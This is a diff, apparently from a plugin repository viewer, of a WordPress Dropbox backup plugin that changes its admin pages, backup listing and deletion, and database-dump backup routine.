$folder_project = str_ireplace( array("http://", "https://"), '', home_url() );
|
575 |
+
$folder_project = str_ireplace( array( "-", '/', '.'), '_', $folder_project );
|
576 |
+
return $folder_project;
|
577 |
+
}
|
578 |
+
|
579 |
+
|
580 |
+
public static function wpadm_show_backup()
|
581 |
+
{
|
582 |
+
|
583 |
+
require_once DRBBACKUP_BASE_DIR. "/modules/dropbox.class.php";
|
584 |
+
parent::$type = 'full';
|
585 |
+
$dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
|
586 |
+
if ($dropbox_options) {
|
587 |
+
$dropbox_options = unserialize( base64_decode( $dropbox_options ) );
|
588 |
+
if (isset($dropbox_options['app_key']) && isset($dropbox_options['app_secret']) && isset($dropbox_options['auth_token_secret'])) {
|
589 |
+
$dropbox = new dropbox($dropbox_options['app_key'], $dropbox_options['app_secret'], $dropbox_options['auth_token_secret']);
|
590 |
+
$folder_project = self::getNameProject();
|
591 |
+
$backups = $dropbox->listing($folder_project);
|
592 |
+
$n = count($backups['items']);
|
593 |
+
$data['data'] = array();
|
594 |
+
for($i = 0; $i < $n; $i++) {
|
595 |
+
$backup = $dropbox->listing($folder_project . "/" . $backups['items'][$i]['name']);
|
596 |
+
$data['data'][$i]['name'] = $backups['items'][$i]['name'];
|
597 |
+
$data['data'][$i]['size'] = (float)$backup['size'] * 1024 * 1024;
|
598 |
+
$data['data'][$i]['dt'] = parent::getDateInName($backups['items'][$i]['name']);
|
599 |
+
$data['data'][$i]['count'] = count($backup['items']);
|
600 |
+
$data['data'][$i]['type'] = 'dropbox';
|
601 |
+
$k = $data['data'][$i]['count'];
|
602 |
+
$data['data'][$i]['files'] = '[';
|
603 |
+
for($j = 0; $j < $k; $j++) {
|
604 |
+
$data['data'][$i]['files'] .= $backup['items'][$j]['name'] . ',';
|
605 |
+
}
|
606 |
+
}
|
607 |
+
}
|
608 |
+
}
|
609 |
+
if (isset($_GET['pay']) && $_GET['pay'] == 'success') {
|
610 |
+
if (!file_exists(WPAdm_Core::getTmpDir() . "/pay_success")) {
|
611 |
+
file_put_contents(WPAdm_Core::getTmpDir() . "/pay_success", 1);
|
612 |
+
parent::setMessage( langWPADM::get('', false) );
|
613 |
+
}
|
614 |
+
}
|
615 |
+
if (isset($_GET['pay']) && $_GET['pay'] == 'cancel') {
|
616 |
+
parent::setError( langWPADM::get('Checkout was canceled', false) );
|
617 |
+
}
|
618 |
+
$data_local = parent::read_backups();
|
619 |
+
if (isset($data['data'])) {
|
620 |
+
$data['data'] = array_merge($data_local['data'], $data['data']);
|
621 |
+
$data['md5'] = md5( print_r( $data['data'] , 1 ) );
|
622 |
+
} else {
|
623 |
+
$data = $data_local;
|
624 |
+
}
|
625 |
+
if (file_exists(WPAdm_Core::getTmpDir() . "/pay_success")) {
|
626 |
+
$plugin_info = get_plugins("/" . parent::$plugin_name);
|
627 |
+
$plugin_version = (isset($plugin_info[parent::$plugin_name . '.php']['Version']) ? $plugin_info[parent::$plugin_name . '.php']['Version'] : '');
|
628 |
+
$data_server = parent::sendToServer(
|
629 |
+
array(
|
630 |
+
'actApi' => "proBackupCheck",
|
631 |
+
'site' => home_url(),
|
632 |
+
'email' => get_option('admin_email'),
|
633 |
+
'plugin' => parent::$plugin_name,
|
634 |
+
'key' => '',
|
635 |
+
'plugin_version' => $plugin_version
|
636 |
+
)
|
637 |
+
);
|
638 |
+
if (isset($data_server['status']) && $data_server['status'] == 'success' && isset($data_server['key'])) {
|
639 |
+
update_option(PREFIX_BACKUP_ . 'pro-key', $data_server['key']);
|
640 |
+
if (isset($data_server['url']) && !empty($data_server['url'])) {
|
641 |
+
parent::setMessage( str_replace('&s', $data_server['url'], langWPADM::get('The "Dropbox backup & restore PRO" version can be downloaded here <a href="&s">download</a>', false) ) );
|
642 |
+
}
|
643 |
+
}
|
644 |
+
}
|
645 |
+
if ( ! function_exists( 'get_plugins' ) ) {
|
646 |
+
require_once ABSPATH . 'wp-admin/includes/plugin.php';
|
647 |
+
}
|
648 |
+
$stars5 = file_exists( WPAdm_Core::getTmpDir() . "/notice-star");
|
649 |
+
$plugin_data = array_values( get_plugins('/dropbox-backup') );
|
650 |
+
$is_runnig = WPAdm_Running::is_running();
|
651 |
+
$show = !get_option('wpadm_pub_key') && is_super_admin();
|
652 |
+
$error = parent::getError(true);
|
653 |
+
$msg = parent::getMessage(true);
|
654 |
+
$base_path = DRBBACKUP_BASE_DIR ;
|
655 |
+
ob_start();
|
656 |
+
require_once $base_path . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "wpadm_show_backup.php";
|
657 |
+
echo ob_get_clean();
|
658 |
+
}
|
659 |
+
|
660 |
+
|
661 |
+
public static function draw_menu()
|
662 |
+
{
|
663 |
+
$show = true;
|
664 |
+
$dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
|
665 |
+
if ($dropbox_options) {
|
666 |
+
$dropbox_options = unserialize( base64_decode( $dropbox_options ) );
|
667 |
+
}
|
668 |
+
if ( ( isset($dropbox_options['is_admin']) && $dropbox_options['is_admin'] == 1 ) || !isset($dropbox_options['is_admin']) ) {
|
669 |
+
if (!is_admin() || !is_super_admin()) {
|
670 |
+
$show = false;
|
671 |
+
}
|
672 |
+
}
|
673 |
+
if ($show) {
|
674 |
+
$menu_position = '1.9998887771';
|
675 |
+
if(self::checkInstallWpadmPlugins()) {
|
676 |
+
$page = add_menu_page(
|
677 |
+
'WPAdm',
|
678 |
+
'WPAdm',
|
679 |
+
"read",
|
680 |
+
'wpadm_plugins',
|
681 |
+
'wpadm_plugins',
|
682 |
+
plugins_url('/img/wpadm-logo.png', dirname( __FILE__ )),
|
683 |
+
$menu_position
|
684 |
+
);
|
685 |
+
add_submenu_page(
|
686 |
+
'wpadm_plugins',
|
687 |
+
"Dropbox Full Backup",
|
688 |
+
"Dropbox Full Backup",
|
689 |
+
'read',
|
690 |
+
'wpadm_wp_full_backup_dropbox',
|
691 |
+
array('wpadm_wp_full_backup_dropbox', 'wpadm_show_backup')
|
692 |
+
);
|
693 |
+
} else {
|
694 |
+
$page = add_menu_page(
|
695 |
+
'Dropbox Full Backup',
|
696 |
+
'Dropbox Full Backup',
|
697 |
+
"read",
|
698 |
+
'wpadm_wp_full_backup_dropbox',
|
699 |
+
array('wpadm_wp_full_backup_dropbox', 'wpadm_show_backup'),
|
700 |
+
plugins_url('/img/wpadm-logo.png', dirname( __FILE__ ) ),
|
701 |
+
$menu_position
|
702 |
+
);
|
703 |
+
|
704 |
+
add_submenu_page(
|
705 |
+
'wpadm_wp_full_backup_dropbox',
|
706 |
+
"WPAdm",
|
707 |
+
"WPAdm",
|
708 |
+
'read',
|
709 |
+
'wpadm_plugins',
|
710 |
+
'wpadm_plugins'
|
711 |
+
);
|
712 |
+
}
|
713 |
+
|
714 |
+
}
|
715 |
+
}
|
716 |
+
public static function notice()
|
717 |
+
{
|
718 |
+
if (!isset($_GET['page']) || ( isset($_GET['page']) && $_GET['page'] != 'wpadm_wp_full_backup_dropbox' ) ) {
|
719 |
+
$notice_file = DRBBACKUP_BASE_DIR . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "notice.php";
|
720 |
+
if (!file_exists(WPAdm_Core::getTmpDir() . "/notice") && file_exists($notice_file)) {
|
721 |
+
ob_start();
|
722 |
+
include_once $notice_file;
|
723 |
+
echo ob_get_clean();
|
724 |
+
}
|
725 |
+
}
|
726 |
+
}
|
727 |
+
public static function hide_notice()
|
728 |
+
{
|
729 |
+
if (isset($_GET['type'])) {
|
730 |
+
switch($_GET['type']) {
|
731 |
+
case 'preview' :
|
732 |
+
file_put_contents(WPAdm_Core::getTmpDir() . "/notice", 1);
|
733 |
+
break;
|
734 |
+
case 'star' :
|
735 |
+
if (isset($_GET['hide']) && $_GET['hide'] == '1d') {
|
736 |
+
file_put_contents(WPAdm_Core::getTmpDir() . "/notice-star", time() . '_w');
|
737 |
+
} elseif ( ( isset($_GET['hide']) && $_GET['hide'] == 'week' ) || !isset($_GET['hide']) ) {
|
738 |
+
file_put_contents(WPAdm_Core::getTmpDir() . "/notice-star", 0);
|
739 |
+
}
|
740 |
+
break;
|
741 |
+
}
|
742 |
+
}
|
743 |
+
header('location:' . $_SERVER['HTTP_REFERER']);
|
744 |
+
exit;
|
745 |
+
}
|
746 |
+
}
|
747 |
+
}
|
748 |
+
|
749 |
+
?>
|
methods/class-wpadm-method-backup-delete.php
CHANGED
@@ -1,28 +1,28 @@
|
|
1 |
-
<?php
|
2 |
-
/**
|
3 |
-
* Delete backup
|
4 |
-
* Class WPAdm_Method_Backup_Delete
|
5 |
-
*/
|
6 |
-
if (!class_exists('WPAdm_Method_Backup_Delete')) {
|
7 |
-
class WPAdm_Method_Backup_Delete extends WPAdm_Method_Class {
|
8 |
-
public function getResult()
|
9 |
-
{
|
10 |
-
$backups_dir = realpath(
|
11 |
-
if(strpos($backups_dir, DIRECTORY_SEPARATOR . '
|
12 |
-
$this->result->setResult = WPAdm_result::WPADM_RESULT_ERROR;
|
13 |
-
$this->result->setError('Wrong name backup');
|
14 |
-
} else {
|
15 |
-
if (is_dir($backups_dir)) {
|
16 |
-
WPAdm_Core::rmdir($backups_dir);
|
17 |
-
if (!is_dir($backups_dir)) {
|
18 |
-
$this->result->setResult = WPAdm_result::WPADM_RESULT_SUCCESS;
|
19 |
-
} else {
|
20 |
-
$this->result->setResult = WPAdm_result::WPADM_RESULT_ERROR;
|
21 |
-
$this->result->setError('Failed to remove backup');
|
22 |
-
}
|
23 |
-
}
|
24 |
-
}
|
25 |
-
return $this->result;
|
26 |
-
}
|
27 |
-
}
|
28 |
}
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Delete backup
|
4 |
+
* Class WPAdm_Method_Backup_Delete
|
5 |
+
*/
|
6 |
+
if (!class_exists('WPAdm_Method_Backup_Delete')) {
|
7 |
+
class WPAdm_Method_Backup_Delete extends WPAdm_Method_Class {
|
8 |
+
public function getResult()
|
9 |
+
{
|
10 |
+
$backups_dir = realpath(DROPBOX_BACKUP_DIR_BACKUP . '/' . $this->params['name']);
|
11 |
+
if(strpos($backups_dir, DIRECTORY_SEPARATOR . 'DROPBOX_BACKUP_DIR_NAME' . DIRECTORY_SEPARATOR) === false || !is_dir($backups_dir)) {
|
12 |
+
$this->result->setResult = WPAdm_result::WPADM_RESULT_ERROR;
|
13 |
+
$this->result->setError('Wrong name backup');
|
14 |
+
} else {
|
15 |
+
if (is_dir($backups_dir)) {
|
16 |
+
WPAdm_Core::rmdir($backups_dir);
|
17 |
+
if (!is_dir($backups_dir)) {
|
18 |
+
$this->result->setResult = WPAdm_result::WPADM_RESULT_SUCCESS;
|
19 |
+
} else {
|
20 |
+
$this->result->setResult = WPAdm_result::WPADM_RESULT_ERROR;
|
21 |
+
$this->result->setError('Failed to remove backup');
|
22 |
+
}
|
23 |
+
}
|
24 |
+
}
|
25 |
+
return $this->result;
|
26 |
+
}
|
27 |
+
}
|
28 |
}
|
methods/class-wpadm-method-backup-list.php
CHANGED
@@ -1,45 +1,45 @@
|
|
1 |
-
<?php
|
2 |
-
/**
|
3 |
-
* Return a list of backups
|
4 |
-
* Class WPAdm_Method_Exec
|
5 |
-
*/
|
6 |
-
if (!class_exists('WPAdm_Method_Backup_List')) {
|
7 |
-
class WPAdm_Method_Backup_List extends WPAdm_Method_Class {
|
8 |
-
public function getResult()
|
9 |
-
{
|
10 |
-
$backups_dir =
|
11 |
-
$dirs = glob($backups_dir . '*');
|
12 |
-
|
13 |
-
$backups = array();
|
14 |
-
foreach($dirs as $dir) {
|
15 |
-
if (preg_match("|(.*)\-(.*)\-(.*)|", $dir, $mm)) {
|
16 |
-
$tmp = explode('/', $dir);
|
17 |
-
$name = array_pop($tmp);
|
18 |
-
list($y,$m,$d, $h,$i) = explode('_', $mm[3]);
|
19 |
-
$dt = "$y-$m-$d $h:$i";
|
20 |
-
$backup = array(
|
21 |
-
'name' => $name,
|
22 |
-
'type' => $mm[2],
|
23 |
-
'dt' => $dt,
|
24 |
-
);
|
25 |
-
$files = glob($dir . '/*.zip');
|
26 |
-
$size = 0;
|
27 |
-
foreach($files as $k=>$v) {
|
28 |
-
$size += (int)filesize($v);
|
29 |
-
$files[$k] = str_replace(ABSPATH, '', $v);
|
30 |
-
}
|
31 |
-
$backup['files'] = $files;
|
32 |
-
$backup['size'] = $size;
|
33 |
-
if ($size > 0) {
|
34 |
-
$backups[] = $backup;
|
35 |
-
}
|
36 |
-
|
37 |
-
}
|
38 |
-
}
|
39 |
-
$this->result->setData($backups);
|
40 |
-
$this->result->setResult(WPAdm_result::WPADM_RESULT_SUCCESS);
|
41 |
-
return $this->result;
|
42 |
-
}
|
43 |
-
|
44 |
-
}
|
45 |
}
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Return a list of backups
|
4 |
+
* Class WPAdm_Method_Exec
|
5 |
+
*/
|
6 |
+
if (!class_exists('WPAdm_Method_Backup_List')) {
|
7 |
+
class WPAdm_Method_Backup_List extends WPAdm_Method_Class {
|
8 |
+
public function getResult()
|
9 |
+
{
|
10 |
+
$backups_dir = DROPBOX_BACKUP_DIR_BACKUP . '/';
|
11 |
+
$dirs = glob($backups_dir . '*');
|
12 |
+
|
13 |
+
$backups = array();
|
14 |
+
foreach($dirs as $dir) {
|
15 |
+
if (preg_match("|(.*)\-(.*)\-(.*)|", $dir, $mm)) {
|
16 |
+
$tmp = explode('/', $dir);
|
17 |
+
$name = array_pop($tmp);
|
18 |
+
list($y,$m,$d, $h,$i) = explode('_', $mm[3]);
|
19 |
+
$dt = "$y-$m-$d $h:$i";
|
20 |
+
$backup = array(
|
21 |
+
'name' => $name,
|
22 |
+
'type' => $mm[2],
|
23 |
+
'dt' => $dt,
|
24 |
+
);
|
25 |
+
$files = glob($dir . '/*.zip');
|
26 |
+
$size = 0;
|
27 |
+
foreach($files as $k=>$v) {
|
28 |
+
$size += (int)filesize($v);
|
29 |
+
$files[$k] = str_replace(ABSPATH, '', $v);
|
30 |
+
}
|
31 |
+
$backup['files'] = $files;
|
32 |
+
$backup['size'] = $size;
|
33 |
+
if ($size > 0) {
|
34 |
+
$backups[] = $backup;
|
35 |
+
}
|
36 |
+
|
37 |
+
}
|
38 |
+
}
|
39 |
+
$this->result->setData($backups);
|
40 |
+
$this->result->setResult(WPAdm_result::WPADM_RESULT_SUCCESS);
|
41 |
+
return $this->result;
|
42 |
+
}
|
43 |
+
|
44 |
+
}
|
45 |
}
|
methods/class-wpadm-method-backup.php
CHANGED
@@ -1,451 +1,407 @@
|
|
1 |
-
<?php
|
2 |
-
/**
|
3 |
-
|
4 |
-
|
5 |
-
|
6 |
-
if (!class_exists('WPadm_Method_Backup')) {
|
7 |
-
class WPadm_Method_Backup extends WPAdm_Method_Class {
|
8 |
-
/**
|
9 |
-
|
10 |
-
|
11 |
-
|
12 |
-
private $id;
|
13 |
-
|
14 |
-
/**
|
15 |
-
|
16 |
-
|
17 |
-
|
18 |
-
private $stime;
|
19 |
-
|
20 |
-
/**
|
21 |
-
|
22 |
-
|
23 |
-
private $queue;
|
24 |
-
|
25 |
-
/**
|
26 |
-
|
27 |
-
|
28 |
-
private $dir;
|
29 |
-
|
30 |
-
/**
|
31 |
-
|
32 |
-
|
33 |
-
private $tmp_dir;
|
34 |
-
|
35 |
-
/**
|
36 |
-
|
37 |
-
|
38 |
-
|
39 |
-
private $type = 'full';
|
40 |
-
|
41 |
-
private $name = '';
|
42 |
-
|
43 |
-
public function __construct($params) {
|
44 |
-
parent::__construct($params);
|
45 |
-
$this->init(
|
46 |
-
|
47 |
-
|
48 |
-
|
49 |
-
|
50 |
-
|
51 |
-
);
|
52 |
-
|
53 |
-
|
54 |
-
|
55 |
-
|
56 |
-
|
57 |
-
|
58 |
-
$name
|
59 |
-
|
60 |
-
|
61 |
-
|
62 |
-
$
|
63 |
-
$
|
64 |
-
$
|
65 |
-
|
66 |
-
|
67 |
-
|
68 |
-
WPAdm_Core::mkdir(
|
69 |
-
|
70 |
-
|
71 |
-
|
72 |
-
|
73 |
-
|
74 |
-
|
75 |
-
|
76 |
-
|
77 |
-
$
|
78 |
-
|
79 |
-
|
80 |
-
|
81 |
-
|
82 |
-
unlink(dirname(__FILE__) . '/../tmp/log.log');
|
83 |
-
|
84 |
-
|
85 |
-
WPAdm_Core::log('
|
86 |
-
|
87 |
-
|
88 |
-
|
89 |
-
|
90 |
-
|
91 |
-
$
|
92 |
-
|
93 |
-
|
94 |
-
|
95 |
-
|
96 |
-
|
97 |
-
|
98 |
-
|
99 |
-
$
|
100 |
-
|
101 |
-
|
102 |
-
|
103 |
-
|
104 |
-
|
105 |
-
|
106 |
-
|
107 |
-
|
108 |
-
|
109 |
-
|
110 |
-
$
|
111 |
-
|
112 |
-
|
113 |
-
|
114 |
-
|
115 |
-
|
116 |
-
|
117 |
-
|
118 |
-
|
119 |
-
|
120 |
-
|
121 |
-
|
122 |
-
|
123 |
-
|
124 |
-
$errors[] =
|
125 |
-
|
126 |
-
|
127 |
-
|
128 |
-
|
129 |
-
WPAdm_Core::log(
|
130 |
-
}
|
131 |
-
unset($commandContext);
|
132 |
-
|
133 |
-
|
134 |
-
|
135 |
-
|
136 |
-
|
137 |
-
|
138 |
-
$files =
|
139 |
-
}
|
140 |
-
|
141 |
-
|
142 |
-
|
143 |
-
|
144 |
-
|
145 |
-
|
146 |
-
|
147 |
-
|
148 |
-
|
149 |
-
|
150 |
-
|
151 |
-
|
152 |
-
$
|
153 |
-
|
154 |
-
|
155 |
-
|
156 |
-
|
157 |
-
|
158 |
-
|
159 |
-
|
160 |
-
$
|
161 |
-
}
|
162 |
-
$
|
163 |
-
|
164 |
-
|
165 |
-
|
166 |
-
|
167 |
-
|
168 |
-
|
169 |
-
|
170 |
-
|
171 |
-
|
172 |
-
|
173 |
-
|
174 |
-
|
175 |
-
|
176 |
-
|
177 |
-
|
178 |
-
|
179 |
-
|
180 |
-
|
181 |
-
|
182 |
-
|
183 |
-
|
184 |
-
|
185 |
-
|
186 |
-
|
187 |
-
$
|
188 |
-
|
189 |
-
|
190 |
-
|
191 |
-
$
|
192 |
-
|
193 |
-
|
194 |
-
|
195 |
-
|
196 |
-
|
197 |
-
|
198 |
-
|
199 |
-
|
200 |
-
|
201 |
-
|
202 |
-
|
203 |
-
|
204 |
-
|
205 |
-
|
206 |
-
|
207 |
-
|
208 |
-
|
209 |
-
$
|
210 |
-
$
|
211 |
-
|
212 |
-
|
213 |
-
|
214 |
-
|
215 |
-
|
216 |
-
|
217 |
-
|
218 |
-
|
219 |
-
|
220 |
-
|
221 |
-
$
|
222 |
-
|
223 |
-
|
224 |
-
|
225 |
-
|
226 |
-
|
227 |
-
|
228 |
-
|
229 |
-
|
230 |
-
|
231 |
-
|
232 |
-
|
233 |
-
|
234 |
-
|
235 |
-
|
236 |
-
|
237 |
-
|
238 |
-
|
239 |
-
|
240 |
-
|
241 |
-
|
242 |
-
|
243 |
-
|
244 |
-
|
245 |
-
|
246 |
-
|
247 |
-
|
248 |
-
|
249 |
-
|
250 |
-
|
251 |
-
|
252 |
-
|
253 |
-
|
254 |
-
|
255 |
-
|
256 |
-
|
257 |
-
|
258 |
-
|
259 |
-
|
260 |
-
|
261 |
-
|
262 |
-
|
263 |
-
|
264 |
-
|
265 |
-
|
266 |
-
|
267 |
-
|
268 |
-
|
269 |
-
|
270 |
-
|
271 |
-
|
272 |
-
|
273 |
-
|
274 |
-
|
275 |
-
|
276 |
-
|
277 |
-
|
278 |
-
|
279 |
-
|
280 |
-
|
281 |
-
|
282 |
-
|
283 |
-
$
|
284 |
-
|
285 |
-
|
286 |
-
|
287 |
-
|
288 |
-
|
289 |
-
|
290 |
-
|
291 |
-
|
292 |
-
|
293 |
-
|
294 |
-
|
295 |
-
|
296 |
-
|
297 |
-
|
298 |
-
|
299 |
-
|
300 |
-
|
301 |
-
|
302 |
-
|
303 |
-
|
304 |
-
|
305 |
-
|
306 |
-
|
307 |
-
|
308 |
-
|
309 |
-
|
310 |
-
|
311 |
-
|
312 |
-
|
313 |
-
|
314 |
-
|
315 |
-
|
316 |
-
|
317 |
-
|
318 |
-
|
319 |
-
|
320 |
-
|
321 |
-
|
322 |
-
|
323 |
-
)
|
324 |
-
|
325 |
-
|
326 |
-
|
327 |
-
|
328 |
-
|
329 |
-
|
330 |
-
|
331 |
-
|
332 |
-
|
333 |
-
|
334 |
-
|
335 |
-
|
336 |
-
|
337 |
-
|
338 |
-
|
339 |
-
|
340 |
-
|
341 |
-
|
342 |
-
|
343 |
-
|
344 |
-
|
345 |
-
|
346 |
-
|
347 |
-
|
348 |
-
|
349 |
-
|
350 |
-
|
351 |
-
|
352 |
-
|
353 |
-
|
354 |
-
|
355 |
-
|
356 |
-
|
357 |
-
|
358 |
-
|
359 |
-
|
360 |
-
|
361 |
-
|
362 |
-
|
363 |
-
|
364 |
-
|
365 |
-
|
366 |
-
|
367 |
-
|
368 |
-
|
369 |
-
|
370 |
-
|
371 |
-
|
372 |
-
|
373 |
-
|
374 |
-
|
375 |
-
|
376 |
-
|
377 |
-
|
378 |
-
|
379 |
-
|
380 |
-
|
381 |
-
|
382 |
-
|
383 |
-
|
384 |
-
|
385 |
-
|
386 |
-
|
387 |
-
|
388 |
-
|
389 |
-
|
390 |
-
|
391 |
-
|
392 |
-
|
393 |
-
|
394 |
-
|
395 |
-
|
396 |
-
|
397 |
-
|
398 |
-
|
399 |
-
|
400 |
-
|
401 |
-
|
402 |
-
|
403 |
-
|
404 |
-
|
405 |
-
|
406 |
-
|
407 |
-
} else {
|
408 |
-
WPAdm_Core::log('Пропускаем файл ' . $ff);
|
409 |
-
}
|
410 |
-
}
|
411 |
-
}
|
412 |
-
}
|
413 |
-
}
|
414 |
-
closedir($handle);
|
415 |
-
}
|
416 |
-
return $array_items;
|
417 |
-
}
|
418 |
-
|
419 |
-
|
420 |
-
/*
|
421 |
-
* Берем реквизиты доступа к MySQL из параметров WP
|
422 |
-
* return Array()
|
423 |
-
*/
|
424 |
-
private function getWpMysqlParams()
|
425 |
-
{
|
426 |
-
$db_params = array(
|
427 |
-
'password' => 'DB_PASSWORD',
|
428 |
-
'db' => 'DB_NAME',
|
429 |
-
'user' => 'DB_USER',
|
430 |
-
'host' => 'DB_HOST',
|
431 |
-
);
|
432 |
-
|
433 |
-
$r = "/define\('(.*)', '(.*)'\)/";
|
434 |
-
preg_match_all($r, file_get_contents(ABSPATH . "wp-config.php"), $m);
|
435 |
-
$params = array_combine($m[1], $m[2]);
|
436 |
-
foreach($db_params as $k=>$p) {
|
437 |
-
$db_params[$k] = $params[$p];
|
438 |
-
}
|
439 |
-
return $db_params;
|
440 |
-
}
|
441 |
-
|
442 |
-
|
443 |
-
private function init(array $conf) {
|
444 |
-
//todo: нормализация
|
445 |
-
$this->id = $conf['id'];
|
446 |
-
$this->stime = $conf['stime'];
|
447 |
-
$this->queue = new WPAdm_Queue($this->id);
|
448 |
-
$this->type = $conf['type'];
|
449 |
-
}
|
450 |
-
}
|
451 |
}
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Бэкап сайта
|
4 |
+
* Class WPadm_Method_Backup
|
5 |
+
*/
|
6 |
+
if (!class_exists('WPadm_Method_Backup')) {
|
7 |
+
class WPadm_Method_Backup extends WPAdm_Method_Class {
|
8 |
+
/**
|
9 |
+
* Уникальный идентификатор текущего объекта
|
10 |
+
* @var String
|
11 |
+
*/
|
12 |
+
private $id;
|
13 |
+
|
14 |
+
/**
|
15 |
+
* Unixtimestamp, когда был запущен метод
|
16 |
+
* @var Int
|
17 |
+
*/
|
18 |
+
private $stime;
|
19 |
+
|
20 |
+
/**
|
21 |
+
* @var WPAdm_Queue
|
22 |
+
*/
|
23 |
+
private $queue;
|
24 |
+
|
25 |
+
/**
|
26 |
+
* @var string
|
27 |
+
*/
|
28 |
+
private $dir;
|
29 |
+
|
30 |
+
/**
|
31 |
+
* @var string
|
32 |
+
*/
|
33 |
+
private $tmp_dir;
|
34 |
+
|
35 |
+
/**
|
36 |
+
* Тип бэкапа
|
37 |
+
* @var string [full|db]
|
38 |
+
*/
|
39 |
+
private $type = 'full';
|
40 |
+
|
41 |
+
private $name = '';
|
42 |
+
|
43 |
+
public function __construct($params) {
|
44 |
+
parent::__construct($params);
|
45 |
+
$this->init(
|
46 |
+
array(
|
47 |
+
'id' => uniqid('wpadm_method_backup__'),
|
48 |
+
'stime' => time(),
|
49 |
+
'type' => $params['type'],
|
50 |
+
)
|
51 |
+
);
|
52 |
+
|
53 |
+
$name = get_option('siteurl');
|
54 |
+
|
55 |
+
$name = str_replace("http://", '', $name);
|
56 |
+
$name = str_replace("https://", '', $name);
|
57 |
+
$name = preg_replace("|\W|", "_", $name);
|
58 |
+
$name .= '-' . $this->type . '-' . date("Y_m_d_H_i");
|
59 |
+
$this->name = $name;
|
60 |
+
|
61 |
+
// папка для бэкапа
|
62 |
+
$this->dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $this->name;
|
63 |
+
$error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
|
64 |
+
if (!empty($error)) {
|
65 |
+
$this->result->setError($error);
|
66 |
+
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
67 |
+
}
|
68 |
+
$error = WPAdm_Core::mkdir($this->dir);
|
69 |
+
if (!empty($error)) {
|
70 |
+
$this->result->setError($error);
|
71 |
+
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
72 |
+
}
|
73 |
+
}
|
74 |
+
|
75 |
+
public function getResult()
|
76 |
+
{
|
77 |
+
$errors = array();
|
78 |
+
|
79 |
+
$this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
|
80 |
+
$this->result->setError('');
|
81 |
+
|
82 |
+
@unlink(dirname(__FILE__) . '/../tmp/log.log');
|
83 |
+
|
84 |
+
WPAdm_Core::log('Start backup create');
|
85 |
+
WPAdm_Core::log('Create dump Data Base');
|
86 |
+
|
87 |
+
$mysql_dump_file = DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql';
|
88 |
+
if (file_exists($mysql_dump_file)) {
|
89 |
+
unlink($mysql_dump_file);
|
90 |
+
}
|
91 |
+
$wp_mysql_params = $this->getWpMysqlParams();
|
92 |
+
|
93 |
+
if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
|
94 |
+
WPAdm_Core::log('optimization Database');
|
95 |
+
$commandContext = new WPAdm_Command_Context();
|
96 |
+
$commandContext ->addParam('command','mysqloptimize')
|
97 |
+
->addParam('host', $wp_mysql_params['host'])
|
98 |
+
->addParam('db', $wp_mysql_params['db'])
|
99 |
+
->addParam('user', $wp_mysql_params['user'])
|
100 |
+
->addParam('password', $wp_mysql_params['password']);
|
101 |
+
$this->queue->clear()
|
102 |
+
->add($commandContext);
|
103 |
+
unset($commandContext);
|
104 |
+
}
|
105 |
+
|
106 |
+
$commandContext = new WPAdm_Command_Context();
|
107 |
+
$commandContext ->addParam('command','mysqldump')
|
108 |
+
->addParam('host', $wp_mysql_params['host'])
|
109 |
+
->addParam('db', $wp_mysql_params['db'])
|
110 |
+
->addParam('user', $wp_mysql_params['user'])
|
111 |
+
->addParam('password', $wp_mysql_params['password'])
|
112 |
+
->addParam('tables', '')
|
113 |
+
->addParam('to_file', $mysql_dump_file);
|
114 |
+
$res = $this->queue->add($commandContext)
|
115 |
+
->save()
|
116 |
+
->execute();
|
117 |
+
|
118 |
+
if (!$res) {
|
119 |
+
$log = langWPADM::get('Website "%domain" returned an error during database dump creation: \'Dump of Database wasn\'t created: "%s"\'. To solve this problem, please check your database system logs or send to us your FTP access data. You can send to us support request using "Help" button on plugin page.', false, array('%domain', '%s'), array(SITE_HOME, $this->queue->getError() ) );
|
120 |
+
WPAdm_Core::log($log);
|
121 |
+
$errors[] = $log;
|
122 |
+
} elseif (0 == (int)filesize($mysql_dump_file)) {
|
123 |
+
$log = langWPADM::get('Website "%domain" returned an error during database dump creation: Database-Dump file is emplty. To solve this problem, please check permissions to folder: "%dir".', false, array('%domain', '%dir'), array(SITE_HOME, DROPBOX_BACKUP_DIR_BACKUP));
|
124 |
+
$errors[] = $log;
|
125 |
+
WPAdm_Core::log($log);
|
126 |
+
} else {
|
127 |
+
$size_dump = round( (filesize($mysql_dump_file) / 1024 / 1024) , 2);
|
128 |
+
$log = str_replace("%s", $size_dump , langWPADM::get('Database Dump was successfully created ( %s Mb) : ', false) ) ;
|
129 |
+
WPAdm_Core::log($log . ' '. str_replace(ABSPATH, '', $mysql_dump_file) );
|
130 |
+
}
|
131 |
+
unset($commandContext);
|
132 |
+
|
133 |
+
|
134 |
+
WPAdm_Core::log('Start Created List Files');
|
135 |
+
if ($this->type == 'full') {
|
136 |
+
$files = $this->createListFilesForArchive();
|
137 |
+
} else {
|
138 |
+
$files = array();
|
139 |
+
}
|
140 |
+
if (file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
|
141 |
+
$files[] = $mysql_dump_file;
|
142 |
+
}
|
143 |
+
|
144 |
+
if (empty($files)) {
|
145 |
+
$errors[] = 'Empty list files';
|
146 |
+
}
|
147 |
+
|
148 |
+
$files2 = array();
|
149 |
+
$files2[0] = array();
|
150 |
+
$i = 0;
|
151 |
+
$size = 0;
|
152 |
+
foreach($files as $f) {
|
153 |
+
if ($size > 170000) {//~170kbyte
|
154 |
+
$i ++;
|
155 |
+
$size = 0;
|
156 |
+
$files2[$i] = array();
|
157 |
+
}
|
158 |
+
$f_size =(int)filesize($f);
|
159 |
+
if ($f_size == 0 || $f_size > 1000000) {
|
160 |
+
WPAdm_Core::log('file '. $f .' size ' . $f_size);
|
161 |
+
}
|
162 |
+
